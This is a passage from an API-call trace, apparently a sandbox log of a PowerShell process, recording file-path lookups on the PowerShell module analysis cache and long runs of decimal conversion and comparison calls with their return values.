lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0188.776] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache", lpFilePart=0x0) returned 0x51 [0188.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5b7e910) returned 1 [0188.776] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache"), fInfoLevelId=0x0, lpFileInformation=0x2649024 | out: lpFileInformation=0x2649024*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa18da600, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xed457660, ftLastWriteTime.dwHighDateTime=0x1da385f, nFileSizeHigh=0x0, nFileSizeLow=0x3692)) returned 1 [0188.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5b7e90c) returned 1 [0215.892] VarR8FromDec (in: pdecIn=0x5b7ea14, pdblOut=0x5b7ea00 | out: pdblOut=0x5b7ea00) returned 0x0 [0215.893] VarR8FromDec (in: pdecIn=0x5b7ea28, pdblOut=0x5b7ea14 | out: pdblOut=0x5b7ea14) returned 0x0 [0215.893] VarR8FromDec (in: pdecIn=0x5b7ea14, pdblOut=0x5b7ea00 | out: pdblOut=0x5b7ea00) returned 0x0 [0215.893] VarR8FromDec (in: pdecIn=0x5b7ea28, pdblOut=0x5b7ea14 | out: pdblOut=0x5b7ea14) returned 0x0 [0215.893] VarR8FromDec (in: pdecIn=0x5b7ea14, pdblOut=0x5b7ea00 | out: pdblOut=0x5b7ea00) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e8f4, pdecRight=0x5b7e8e4) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e8f4, pdecRight=0x5b7e8e4) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e8f4, pdecRight=0x5b7e8e4) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e920, pdecRight=0x5b7e910) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e920, pdecRight=0x5b7e910) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e900, pdecRight=0x5b7e8f0) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e920, pdecRight=0x5b7e910) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e920, pdecRight=0x5b7e910) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e900, pdecRight=0x5b7e8f0) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e9d0, pdecRight=0x5b7e9c0) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e9b0, pdecRight=0x5b7e9a0) returned 0x2 [0215.893] VarDecCmp (pdecLeft=0x5b7e9d0, pdecRight=0x5b7e9c0) returned 0x0 [0215.893] VarDecCmp (pdecLeft=0x5b7e9b0, pdecRight=0x5b7e9a0) returned 0x2 [0215.893] VarDecCmp (pdecLeft=0x5b7e914, pdecRight=0x5b7e904) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e894, pdecRight=0x5b7e884) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e894, pdecRight=0x5b7e884) returned 0x1 [0215.893] VarDecCmp (pdecLeft=0x5b7e894, pdecRight=0x5b7e884) returned 0x1 [0215.901] VarR8FromDec (in: pdecIn=0x5b7e5d0, pdblOut=0x5b7e5bc | out: pdblOut=0x5b7e5bc) returned 0x0 [0215.901] VarR8FromDec (in: pdecIn=0x5b7e5e4, pdblOut=0x5b7e5d0 | out: pdblOut=0x5b7e5d0) returned 0x0 [0215.901] VarR8FromDec (in: pdecIn=0x5b7e5d0, pdblOut=0x5b7e5bc | out: pdblOut=0x5b7e5bc) returned 0x0 [0215.901] VarR8FromDec (in: pdecIn=0x5b7e5e4, pdblOut=0x5b7e5d0 | out: pdblOut=0x5b7e5d0) returned 0x0 [0215.901] VarR8FromDec (in: pdecIn=0x5b7e5d0, pdblOut=0x5b7e5bc | out: pdblOut=0x5b7e5bc) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e4b0, pdecRight=0x5b7e4a0) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e4b0, pdecRight=0x5b7e4a0) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e4b0, pdecRight=0x5b7e4a0) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e4dc, pdecRight=0x5b7e4cc) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e4dc, pdecRight=0x5b7e4cc) returned 0x1 [0215.901] VarDecCmp (pdecLeft=0x5b7e4bc, pdecRight=0x5b7e4ac) returned 0x1 [0215.901] VarDecCmp (pdecLeft=0x5b7e4dc, pdecRight=0x5b7e4cc) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e4dc, pdecRight=0x5b7e4cc) returned 0x1 [0215.901] VarDecCmp (pdecLeft=0x5b7e4bc, pdecRight=0x5b7e4ac) returned 0x1 [0215.901] VarDecCmp (pdecLeft=0x5b7e58c, pdecRight=0x5b7e57c) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e56c, pdecRight=0x5b7e55c) returned 0x2 [0215.901] VarDecCmp (pdecLeft=0x5b7e58c, pdecRight=0x5b7e57c) returned 0x0 [0215.901] VarDecCmp (pdecLeft=0x5b7e56c, pdecRight=0x5b7e55c) returned 0x2 [0215.902] VarDecCmp (pdecLeft=0x5b7e4d0, pdecRight=0x5b7e4c0) returned 0x1 [0215.902] VarDecCmp (pdecLeft=0x5b7e450, pdecRight=0x5b7e440) returned 0x1 [0215.902] VarDecCmp (pdecLeft=0x5b7e450, pdecRight=0x5b7e440) returned 0x1 [0215.902] VarDecCmp (pdecLeft=0x5b7e450, pdecRight=0x5b7e440) returned 0x1 [0215.902] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.902] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.902] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.902] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.902] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.903] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.904] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.905] VarR8FromDec (in: pdecIn=0x5b7e3f4, pdblOut=0x5b7e3e0 | out: pdblOut=0x5b7e3e0) returned 0x0 [0215.905] VarR8FromDec (in: pdecIn=0x5b7e3e0, pdblOut=0x5b7e3cc | out: pdblOut=0x5b7e3cc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.905] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.905] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.906] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.906] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.906] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.906] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e22c, pdecRight=0x5b7e21c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e22c, pdecRight=0x5b7e21c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e22c, pdecRight=0x5b7e21c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e22c, pdecRight=0x5b7e21c) returned 0x1 [0215.907] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.907] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e220, pdecRight=0x5b7e210) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e22c, pdecRight=0x5b7e21c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e24c, pdecRight=0x5b7e23c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e22c, pdecRight=0x5b7e21c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.908] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.908] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.909] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.909] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.909] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.909] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.909] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.909] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e270, pdecRight=0x5b7e260) returned 0x0 [0215.910] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.910] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e29c, pdecRight=0x5b7e28c) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e27c, pdecRight=0x5b7e26c) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e2c0, pdecRight=0x5b7e2b0) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e2ec, pdecRight=0x5b7e2dc) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e2cc, pdecRight=0x5b7e2bc) returned 0x1 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.911] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.911] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] VarDecCmp (pdecLeft=0x5b7e37c, pdecRight=0x5b7e36c) returned 0x2 [0215.912] VarDecCmp (pdecLeft=0x5b7e39c, pdecRight=0x5b7e38c) returned 0x0 [0215.912] 